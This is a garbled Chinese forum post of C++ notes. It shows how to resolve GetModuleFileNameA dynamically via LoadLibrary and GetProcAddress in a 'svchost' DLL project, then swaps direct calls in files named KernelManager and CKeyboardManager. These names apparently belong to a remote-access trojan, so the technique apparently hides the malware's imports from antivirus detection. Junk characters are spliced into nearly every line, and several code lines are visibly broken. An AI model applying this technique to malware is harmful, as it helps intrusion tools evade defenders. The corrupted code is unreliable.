[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记! g  \% n6 ~+ P
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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- W' F9 m7 b' u1 T! z. e3 QDTDY.h：4 f: L; h. l( G' G" F6 o

  i) [5 X% ~1 J2 K) u#if _MSC_VER>1000
  Y, X3 S: z7 m: ^! P5 a* Q/ g* B#pragma once0 q7 e( R) t0 f0 G; K5 L3 k
#endif //_MSC_VER>1000
- a1 H4 r1 i0 |* R5 M1 B#include<windows.h>7 k; `/ P$ E& b: O, f5 V- U

6 [2 w' r8 w! c4 n: Ltypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);$ _! B) C- T( N& X( n$ \
class DTDY6 \" p: k2 c9 g0 c4 y
{  z( s& U2 Y7 `% Z" r/ z
public:. L" M/ O- p6 ]8 @2 E& i
DTDY();
, `4 a3 m3 A2 }  g/ kvirtual ~DTDY();! A( q* `( j! O3 Z8 N: c
public:
0 K) b( Y& Z, v; a" q' O) `static pGetModuleFileNameA MyGetModuleFileName;; Q0 G" b- O9 d
static BOOL FunInitiallization();7 Q$ _" ?1 x: m2 G
};/ k5 w. v2 E+ k8 N% A3 i- c
#endif
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7 i" V/ b- }# D( S. |5 _' u+ w9 NDTDY.cpp:8 Y" {) J/ Y: i( N1 v8 M7 w

6 Q0 ~* M/ X) C- @#include "DTDY.h"
! B, Y( X1 r7 w- d( B$ s* N. [pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;* c8 |3 {( q  V% ?' ]: Q5 d; j! ~
DTDY:TDY()9 Z5 d  g" P' ?; R1 }
{
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DTDY::~DTDY()7 `2 J6 B$ a; S4 f
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BOOL DTDY::FunInitiallization()* b7 I, Q  t7 m
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HMODULE hModule=LoadLibrary("kernel32.dll");. B! ~0 R' \* Z6 O. s) O
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
7 C+ M  b; `  y3 z1 a  oif(!MyGetModuleFileName=) return FALSE;
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% }! F) O. d2 z* f" v) J! @return TRUE;8 e" L3 v  P& r6 T$ C- {
}; q- z  J* p8 G7 i, [4 `4 k5 o
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! j; q1 i% h7 D% F5 p- Ysvchost.cpp:% `5 S7 v5 O+ N9 B
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#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)5 y8 c/ P* i. U' `5 l  v1 t
{
# d2 x% ~) s" p. Qswitch(ul_reason_for_call)
& M4 c! [0 L1 c( J5 x: I{
5 T4 |4 b. E- y  \. s6 vcase DLL_PROCESS_ATTACH:
% c# B2 G; C) ~8 ~1 h  `if(!DTDY::FunInitiallization()) return FALSE;7 `& Q# m0 S* g
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break;
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}
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; d# r# \- k% M" sGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def8 _8 z; q% L* `. u
改写为
. b& d  W+ ?9 T! yDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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. _# K. c" J2 S! ^#include "../DTDY.h"2 h+ [( E7 l0 z- G, R& Q2 t3 C
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% I2 R( s% y* V* \! S7 J
改写为& W2 W. O* d" b
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));& `8 V( U" u6 p6 S6 T/ H  O+ W
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